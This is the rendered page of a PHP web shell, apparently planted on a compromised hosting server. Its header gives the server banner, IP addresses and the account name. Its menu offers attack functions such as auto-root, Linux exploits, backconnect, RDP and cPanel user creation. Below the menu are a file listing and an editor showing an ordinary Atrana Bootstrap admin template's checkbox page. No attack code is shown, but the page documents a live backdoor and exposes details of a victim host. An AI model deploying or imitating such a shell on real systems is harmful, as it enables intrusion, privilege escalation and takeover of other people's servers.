Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.223.195.1
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
itailorBlog /
admin /
page /
[ HOME SHELL ]
Name
Size
Permission
Action
auth-forgot-password.html
2.23
KB
-rw-r--r--
auth-login.html
2.65
KB
-rw-r--r--
auth-register.html
2.95
KB
-rw-r--r--
auth-reset-password.html
3.01
KB
-rw-r--r--
blank-pages.html
11.13
KB
-rw-r--r--
bootstrap-alert.html
17.66
KB
-rw-r--r--
bootstrap-badge.html
17.97
KB
-rw-r--r--
bootstrap-breadcrumb.html
19.83
KB
-rw-r--r--
bootstrap-buttons.html
24.08
KB
-rw-r--r--
bootstrap-card.html
24.57
KB
-rw-r--r--
bootstrap-carousel.html
16.98
KB
-rw-r--r--
bootstrap-dropdown.html
54.58
KB
-rw-r--r--
bootstrap-list-group.html
28.68
KB
-rw-r--r--
bootstrap-modal.html
60.02
KB
-rw-r--r--
bootstrap-nav.html
18.15
KB
-rw-r--r--
bootstrap-pagination.html
23.82
KB
-rw-r--r--
bootstrap-progress.html
17.37
KB
-rw-r--r--
bootstrap-spinner.html
17.11
KB
-rw-r--r--
chart-apexcharts.html
13.29
KB
-rw-r--r--
chart-chartjs.html
12.26
KB
-rw-r--r--
component-avatar.html
15.06
KB
-rw-r--r--
component-hero.html
12.96
KB
-rw-r--r--
component-sweet-alert.html
18.04
KB
-rw-r--r--
component-toastify.html
15.02
KB
-rw-r--r--
credits.html
14.11
KB
-rw-r--r--
errors-403.html
1.28
KB
-rw-r--r--
errors-404.html
1.24
KB
-rw-r--r--
errors-500.html
1.26
KB
-rw-r--r--
errors-503.html
1.24
KB
-rw-r--r--
forms-checkbox.html
28.16
KB
-rw-r--r--
forms-editor.html
14.36
KB
-rw-r--r--
forms-radio.html
20.2
KB
-rw-r--r--
forms-validation.html
14.38
KB
-rw-r--r--
icons-boostrap.html
723.36
KB
-rw-r--r--
icons-fontawesome.html
628.16
KB
-rw-r--r--
index.html
16.17
KB
-rw-r--r--
layout-default.html
11.49
KB
-rw-r--r--
layout-top-navigation.html
11.51
KB
-rw-r--r--
my-profile.html
15.34
KB
-rw-r--r--
widgets-chatboxs.html
11.42
KB
-rw-r--r--
widgets-email.html
11.42
KB
-rw-r--r--
widgets-pricing.html
26.45
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : forms-checkbox.html
<!doctype html> <html lang="en"> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>Forms › Checkbox — Atrana</title> <!-- Bootstrap CSS--> <link rel="stylesheet" href="assets/modules/bootstrap-5.1.3/css/bootstrap.css"> <!-- Style CSS --> <link rel="stylesheet" href="assets/css/style.css"> <!-- FontAwesome CSS--> <link rel="stylesheet" href="assets/modules/fontawesome6.1.1/css/all.css"> <!-- Boxicons CSS--> <link rel="stylesheet" href="assets/modules/boxicons/css/boxicons.min.css"> </head> <body> <!--Topbar --> <div class="topbar transition"> <div class="bars"> <button type="button" class="btn transition" id="sidebar-toggle"> <i class="fa fa-bars"></i> </button> </div> <div class="menu"> <ul> <li class="nav-item dropdown dropdown-list-toggle"> <a class="nav-link" href="#" id="navbarDropdown" role="button" data-bs-toggle="dropdown" aria-expanded="false"> <i class="fa fa-bell size-icon-1"></i><span class="badge bg-danger notif">4</span> </a> <div class="dropdown-menu dropdown-list"> <div class="dropdown-header">Notifications</div> <div class="dropdown-list-content dropdown-list-icons"> <div class="custome-list-notif"> <a href="#" class="dropdown-item dropdown-item-unread"> <div class="dropdown-item-icon bg-primary text-white"> <i class="fas fa-code"></i> </div> <div class="dropdown-item-desc"> The Atrana template has the latest update! <div class="time text-primary">3 Min Ago</div> </div> </a> <a href="#" class="dropdown-item"> <div class="dropdown-item-icon bg-info text-white"> <i class="far fa-user"></i> </div> <div class="dropdown-item-desc"> Sri asks you for friendship! <div class="time">12 Hours Ago</div> </div> </a> <a href="#" class="dropdown-item"> <div class="dropdown-item-icon bg-danger text-white"> <i class="fas fa-check"></i> </div> <div class="dropdown-item-desc"> Storage has been cleared, now you can get back to work! <div class="time">20 Hours Ago</div> </div> </a> <a href="#" class="dropdown-item"> <div class="dropdown-item-icon bg-info text-white"> <i class="fas fa-bell"></i> </div> <div class="dropdown-item-desc"> Welcome to Atrana Template, I hope you enjoy using this template! <div class="time">Yesterday</div> </div> </a> </div> </div> <div class="dropdown-footer text-center"> <a href="#">View All</a> </div> </li> <li class="nav-item dropdown"> <a class="nav-link" href="#" id="navbarDropdown" role="button" data-bs-toggle="dropdown" aria-expanded="false"> <img src="assets/images/avatar/avatar-1.png" alt=""> </a> <ul class="dropdown-menu" aria-labelledby="navbarDropdown"> <a class="dropdown-item" href="my-profile.html"><i class="fa fa-user size-icon-1"></i> <span>My Profile</span></a> <a class="dropdown-item" href="settings.html"><i class="fa fa-cog size-icon-1"></i> <span>Settings</span></a> <hr class="dropdown-divider"> <a class="dropdown-item" href="#"><i class="fa fa-sign-out-alt size-icon-1"></i> <span>My Profile</span></a> </ul> </li> </ul> </div> </div> <!--Sidebar--> <div class="sidebar transition overlay-scrollbars animate__animated animate__slideInLeft"> <div class="sidebar-content"> <div id="sidebar"> <!-- Logo --> <div class="logo"> <h2 class="mb-0"><img src="assets/images/logo.png"> Atrana</h2> </div> <ul class="side-menu"> <li> <a href="index.html" class="active"> <i class='bx bxs-dashboard icon' ></i> Dashboard </a> </li> <!-- Divider--> <li class="divider" data-text="STARTER">STARTER</li> <li> <a href="#"> <i class='bx bx-columns icon' ></i> Layout <i class='bx bx-chevron-right icon-right' ></i> </a> <ul class="side-dropdown"> <li><a href="layout-default.html">Default Layout</a></li> <li><a href="layout-top-navigation.html">Top Navigation</a></li> </ul> </li> <li> <a href="blank-pages.html"> <i class='bx bxs-meh-blank icon'></i> Blank Page </a> </li> <li> <a href="#"> <i class='fa fa-th icon' ></i> Bootstrap <i class='bx bx-chevron-right icon-right' ></i> </a> <ul class="side-dropdown"> <li><a href="bootstrap-alert.html">Alert</a></li> <li><a href="bootstrap-badge.html">Badge</a></li> <li><a href="bootstrap-breadcrumb.html">Breadcrumb</a></li> <li><a href="bootstrap-buttons.html">Buttons</a></li> <li><a href="bootstrap-card.html">Card</a></li> <li><a href="bootstrap-carousel.html">Carousel</a></li> <li><a href="bootstrap-dropdown.html">Dropdown</a></li> <li><a href="bootstrap-list-group.html">List Group</a></li> <li><a href="bootstrap-modal.html">Modal</a></li> <li><a href="bootstrap-nav.html">Navs</a></li> <li><a href="bootstrap-pagination.html">Pagination</a></li> <li><a href="bootstrap-progress.html">Progress</a></li> <li><a href="bootstrap-spinner.html">Spinner</a></li> </ul> </li> <!-- Divider--> <li class="divider" data-text="Atrana">Atrana</li> <li> <a href="#"> <i class='bx bx-columns icon' ></i> Components <i class='bx bx-chevron-right icon-right' ></i> </a> <ul class="side-dropdown"> <li><a href="component-avatar.html">Avatar</a></li> <li><a href="component-toastify.html">Toastify</a></li> <li><a href="component-sweet-alert.html">Sweet Alert</a></li> <li><a href="component-hero.html">Hero</a></li> </ul> </li> <li> <a href="#"> <i class='bx bxs-notepad icon' ></i> Forms <i class='bx bx-chevron-right icon-right' ></i> </a> <ul class="side-dropdown"> <li><a href="forms-editor.html">Editor</a></li> <li><a href="forms-validation.html">Validation</a></li> <li><a href="forms-checkbox.html">Checkbox</a></li> <li><a href="forms-radio.html">Radio</a></li> </ul> </li> <li> <a href="#"> <i class='bx bxs-widget icon' ></i> Widgets <i class='bx bx-chevron-right icon-right' ></i> </a> <ul class="side-dropdown"> <li><a href="widgets-chatboxs.html">ChatBox</a></li> <li><a href="widgets-email.html">Emails</a></li> <li><a href="widgets-pricing.html">Pricing</a></li> </ul> </li> <li> <a href="#"> <i class='bx bxs-bar-chart-alt-2 icon' ></i> Charts <i class='bx bx-chevron-right icon-right' ></i> </a> <ul class="side-dropdown"> <li><a href="chart-chartjs.html">ChartJS</a></li> <li><a href="chart-apexcharts.html">Apexcharts</a></li> </ul> </li> <li> <a href="#"> <i class='bx bxs-cloud-rain icon' ></i> Icons <i class='bx bx-chevron-right icon-right' ></i> </a> <ul class="side-dropdown"> <li><a href="icons-fontawesome.html">Fontawesome</a></li> <li><a href="icons-boostrap.html">Bootstrap Icons</a></li> </ul> </li> <!-- Divider--> <li class="divider" data-text="Pages">Pages</li> <li> <a href="#"> <i class='bx bxs-user icon' ></i> Auth <i class='bx bx-chevron-right icon-right' ></i> </a> <ul class="side-dropdown"> <li><a href="auth-login.html">Login</a></li> <li><a href="auth-register.html">Register</a></li> <li><a href="auth-forgot-password.html">Forgot Password</a></li> <li><a href="auth-reset-password.html">Reset Password</a></li> </ul> </li> <li> <a href="#"> <i class='bx bxs-error icon' ></i> Errors <i class='bx bx-chevron-right icon-right' ></i> </a> <ul class="side-dropdown"> <li><a href="errors-403.html">403</a></li> <li><a href="errors-404.html">404</a></li> <li><a href="errors-500.html">500</a></li> <li><a href="errors-503.html">503</a></li> </ul> </li> <li> <a href="credits.html"><i class='fa fa-pencil-ruler icon' ></i> Credits </a> </li> </ul> <div class="ads"> <div class="wrapper"> <div class="help-icon"><i class="fa fa-circle-question fa-3x"></i></div> <p>Need Help with <strong>Atrana</strong>?</p> <a href="docs/" class="btn-upgrade">Documentation</a> </div> </div> </div> </div> </div> </div><!-- End Sidebar--> <div class="sidebar-overlay"></div> <!--Content Start--> <div class="content-start transition "> <div class="container-fluid dashboard"> <div class="content-header"> <h1>Checkbox</h1> <p>For user to check they list</p> </div> <section id="basic-checkbox"> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-header"> <h4 class="card-title">Basic Checkboxes</h4> </div> <div class="card-content"> <div class="card-body"> <ul class="list-unstyled mb-0"> <li class="d-inline-block me-2 mb-1"> <div class="form-check"> <div class="checkbox"> <input type="checkbox" id="checkbox1" class="form-check-input" checked> <label for="checkbox1">Touch me!</label> </div> </div> </li> <li class="d-inline-block me-2 mb-1"> <div class="form-check"> <div class="checkbox"> <input type="checkbox" class="form-check-input" id="checkbox2"> <label for="checkbox2">Touch me!</label> </div> </div> </li> <li class="d-inline-block me-2 mb-1"> <div class="form-check"> <div class="checkbox"> <input type="checkbox" id="checkbox3" class="form-check-input" disabled checked> <label for="checkbox3">Disabled Checked Checkbox</label> </div> </div> </li> <li class="d-inline-block mb-1"> <div class="form-check"> <div class="checkbox"> <input type="checkbox" id="checkbox4" class="form-check-input" disabled> <label for="checkbox4">Disabled Unchecked Checkbox</label> </div> </div> </li> </ul> </div> </div> </div> </div> </div> </section> <!-- Basic Checkbox end --> <!-- Custom Checkbox Colored start --> <section id="custom-checkbox-colored"> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-header"> <h4 class="card-title">Custom Colored Checkboxes</h4> </div> <div class="card-content"> <div class="card-body"> <p>To change the color of the Custom CheckBoxes, use the <code>.bg-{colorName}</code> with <code>.form-check-input</code> class. </p> <ul class="list-unstyled mb-0"> <li class="d-inline-block me-2 mb-1"> <div class="form-check"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="form-check-input form-check-primary" checked name="customCheck" id="customColorCheck1"> <label class="form-check-label" for="customColorCheck1">Primary</label> </div> </div> </li> <li class="d-inline-block me-2 mb-1"> <div class="form-check"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="form-check-input form-check-secondary" checked name="customCheck" id="customColorCheck2"> <label class="form-check-label" for="customColorCheck2">Secondary</label> </div> </div> </li> <li class="d-inline-block me-2 mb-1"> <div class="form-check"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="form-check-input form-check-success" checked name="customCheck" id="customColorCheck3"> <label class="form-check-label" for="customColorCheck3">Success</label> </div> </div> </li> <li class="d-inline-block me-2 mb-1"> <div class="form-check"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="form-check-input form-check-danger" checked name="customCheck" id="customColorCheck4"> <label class="form-check-label" for="customColorCheck4">Danger</label> </div> </div> </li> <li class="d-inline-block me-2 mb-1"> <div class="form-check"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="form-check-input form-check-info" checked name="customCheck" id="customColorCheck5"> <label class="form-check-label" for="customColorCheck5">Info</label> </div> </div> </li> <li class="d-inline-block mb-1"> <div class="form-check"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="form-check-input form-check-warning" checked name="customCheck" id="customColorCheck6"> <label class="form-check-label" for="customColorCheck6">Warning</label> </div> </div> </li> </ul> </div> </div> </div> </div> </div> </section> <!-- Custom Checkbox end --> <!-- Checkbox Glow start --> <section id="checkbox-glow"> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-header"> <h4 class="card-title">Checkboxes Glow</h4> </div> <div class="card-content"> <div class="card-body"> <p>Use class <code>.form-check-glow</code> class with <code>.form-check-input.form-check-{colorName}</code> for glow effect to Checkboxes. Glow shadow color will be changed according to Colored Checkboxes. </p> <ul class="list-unstyled mb-0"> <li class="d-inline-block me-2 mb-1"> <div class="form-check"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="form-check-input form-check-primary form-check-glow" checked name="customCheck" id="customColorCheck1"> <label class="form-check-label" for="customColorCheck1">Primary</label> </div> </div> </li> <li class="d-inline-block me-2 mb-1"> <div class="form-check"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="form-check-input form-check-secondary form-check-glow" checked name="customCheck" id="customColorCheck2"> <label class="form-check-label" for="customColorCheck2">Secondary</label> </div> </div> </li> <li class="d-inline-block me-2 mb-1"> <div class="form-check"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="form-check-input form-check-success form-check-glow" checked name="customCheck" id="customColorCheck3"> <label class="form-check-label" for="customColorCheck3">Success</label> </div> </div> </li> <li class="d-inline-block me-2 mb-1"> <div class="form-check"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="form-check-input form-check-danger form-check-glow" checked name="customCheck" id="customColorCheck4"> <label class="form-check-label" for="customColorCheck4">Danger</label> </div> </div> </li> <li class="d-inline-block me-2 mb-1"> <div class="form-check"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="form-check-input form-check-info form-check-glow" checked name="customCheck" id="customColorCheck5"> <label class="form-check-label" for="customColorCheck5">Info</label> </div> </div> </li> <li class="d-inline-block mb-1"> <div class="form-check"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="form-check-input form-check-warning form-check-glow" checked name="customCheck" id="customColorCheck6"> <label class="form-check-label" for="customColorCheck6">Warning</label> </div> </div> </li> </ul> </div> </div> </div> </div> </div> </section> <!-- Checkbox Glow end --> <!-- Checkbox Sizes start --> <section id="checkbox-sizes"> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-header"> <h4 class="card-title">Checkboxes Sizes</h4> </div> <div class="card-content"> <div class="card-body"> <p>To add a checkBox with different sizes, we have the <code>.form-check-sm</code> class for small Checkboxes. Add it alongwith <code>.form-check</code> class.</p> <ul class="list-unstyled mb-0"> <li class="d-inline-block mb-1 me-2"> <div class="form-check form-check-sm"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="form-check-input form-check-primary form-check-glow" checked name="customCheck" id="customColorCheck6"> <label class="form-check-label" for="customColorCheck6">Small</label> </div> </div> </li> <li class="d-inline-block mb-1 me-2"> <div class="form-check"> <input type="checkbox" class="form-check-input form-check-primary form-check-glow" checked name="customCheck" id="customColorCheck6"> <label class="form-check-label" for="customColorCheck6">Default</label> </div> </li> </ul> </div> </div> </div> </div> </div> </section> <!-- Checkbox Sizes end --> </div><!-- End Container--> </div><!-- End Content--> <!-- Footer --> <footer> <div class="footer"> <div class="float-start"> <p>2022 © Atrana</p> </div> <div class="float-end"> <p>Crafted with <span class="text-danger"> <i class="fa fa-heart"></i> by <a href="https://www.facebook.com/andreew.co.id/" class="author-footer">Andre Tri Ramadana</a> </span> </p> </div> </div> </footer> <!-- Preloader --> <div class="loader"> <div class="spinner-border text-light" role="status"> <span class="sr-only">Loading...</span> </div> </div> <!-- Loader --> <div class="loader-overlay"></div> <!-- General JS Scripts --> <script src="assets/js/atrana.js"></script> <!-- JS Libraies --> <script src="assets/modules/jquery/jquery.min.js"></script> <script src="assets/modules/bootstrap-5.1.3/js/bootstrap.bundle.min.js"></script> <script src="assets/modules/popper/popper.min.js"></script> <!-- Template JS File --> <script src="assets/js/script.js"></script> <script src="assets/js/custom.js"></script> </body> </html>
Close
